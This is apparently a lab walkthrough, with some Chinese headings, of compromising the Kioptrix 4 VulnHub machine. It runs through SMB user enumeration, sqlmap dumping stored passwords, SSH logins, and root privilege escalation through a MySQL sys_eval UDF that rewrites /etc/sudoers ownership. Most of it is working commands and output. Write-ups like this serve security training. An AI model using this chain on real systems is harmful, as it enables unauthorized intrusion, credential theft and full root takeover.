$ enum4linux-ng <ip> ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# enum4linux-ng 192.168.150.130 > smb.result ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# more smb.result ================================================== | OS Information via RPC for 192.168.150.130 | ================================================== [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via 'srvinfo' [+] Found OS information via 'srvinfo' [+] After merging OS information we have the following result: OS: Linux/Unix (Samba 3.0.28a) OS version: '4.9' OS release: not supported OS build: not supported Native OS: Unix Native LAN manager: Samba 3.0.28a Platform id: '500' Server type: '0x809a03' Server type string: Wk Sv PrQ Unx NT SNT Kioptrix4 server (Samba, Ubuntu) ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# cat smb.result | grep user [+] Server allows session using username '', password '' [*] Check for random user [+] Server allows session using username 'gmbklnrd', password '' [H] Rerunning enumeration with user 'gmbklnrd' might give more results [*] Enumerating users via 'querydispinfo' [+] Found 5 user(s) via 'querydispinfo' [*] Enumerating users via 'enumdomusers' [+] Found 5 user(s) via 'enumdomusers' [+] After merging user results we have 5 user(s) total: username: root username: loneferret username: john username: robert username: nobody
MSF-SMB
1 2 3 4 5 6
# 基于SMB协议扫描版本号 msf6 > use auxiliary/scanner/smb/smb_version # 扫描共享文件 msf6 > use auxiliary/scanner/smb/smb_enumshares # 基于SMB进行用户信息枚举 msf6 > use auxiliary/scanner/smb/smb_lookupsid
Web> HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081
┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# sqlmap -r sql.txt –leve 3 –batch –dbs available databases [3]: [] information_schema [] members [*] mysql ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# sqlmap -r sql.txt –leve 3 –batch -D members –tables Database: members [1 table] +———+ | members | +———+ ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# sqlmap -r sql.txt –leve 3 –batch -D members -T members –dump Database: members Table: members [2 entries] +—-+———————–+———-+ | id | password | username | +—-+———————–+———-+ | 1 | MyNameIsJohn | john | | 2 | ADGAdsafdfwt4gadfga== | robert | +—-+———————–+———-+
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
使用已知的`user.list and pass.list`进行密码喷洒 Web界面没有功能点 ### SSH```bash ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.150.130 Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ ┌──(root㉿kali)-[/opt/vulnhub/0x04] └─# ssh -o HostKeyAlgorithms=ssh-rsa robert@192.168.150.130 Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands robert:~$
mysql>createfunction sys_eval returns string soname 'udf.so'; ERROR 1046 (3D000): No database selected mysql> use mysql Reading table information for completion oftableandcolumn names You can turn off this feature toget a quicker startup with-A Database changed mysql>createfunction sys_eval returns string soname 'lib_mysqludf_sys.so'; Query OK, 0rows affected (0.00 sec) mysql>select*from mysql.func; +-----------------------+-----+---------------------+----------+ | name | ret | dl | type | +-----------------------+-----+---------------------+----------+ | lib_mysqludf_sys_info |0| lib_mysqludf_sys.so |function| | sys_exec |0| lib_mysqludf_sys.so |function| | sys_eval |0| lib_mysqludf_sys.so |function| +-----------------------+-----+---------------------+----------+ 3rowsinset (0.00 sec) mysql>select sys_eval('id'); +--------------------------+ | sys_eval('id') | +--------------------------+ | uid=0(root) gid=0(root) | +--------------------------+ 1rowinset (0.00 sec) -- 成功提权 mysql>select sys_eval('chown -R john:john /etc/sudoers'); +---------------------------------------------+ | sys_eval('chown -R john:john /etc/sudoers') | +---------------------------------------------+ || +---------------------------------------------+ 1rowinset (0.00 sec) mysql> exit Bye john@Kioptrix4:/var/www$ ls -la /etc/| grep sudoers -r--r----- 1 john john 557 2012-02-04 09:58 sudoers john@Kioptrix4:/var/www$ chmod +w /etc/sudoers john@Kioptrix4:/var/www$ ls -la /etc/| grep sudoers -rw-r----- 1 john john 557 2012-02-04 09:58 sudoers john@Kioptrix4:/var/www$ vi /etc/sudoers
1 2 3 4 5 6 7 8 9 10 11 12 13 14
john@Kioptrix4:/var/www$ sudo -l sudo: /etc/sudoers is mode 0640, should be 0440 john@Kioptrix4:/var/www$ chmod 0440 /etc/sudoers john@Kioptrix4:/var/www$ mysql -uroot -p Enter password: mysql> select sys_eval('chown -R root:root /etc/sudoers'); +---------------------------------------------+ | sys_eval('chown -R root:root /etc/sudoers') | +---------------------------------------------+ | | +---------------------------------------------+ 1 row inset (0.00 sec) mysql> exit Bye
1 2 3 4 5 6 7 8 9
john@Kioptrix4:/var/www$ sudo -l User john may run the following commands on this host: (root) NOPASSWD: ALL john@Kioptrix4:/var/www$ sudo su root@Kioptrix4:/var/www# cd /root/ root@Kioptrix4:~# whoami root root@Kioptrix4:~# id uid=0(root) gid=0(root) groups=0(root)
## Shell as user1
## Shell as user2
## 以root身份进入Shell> 保存屏幕截图作为Flag或Proof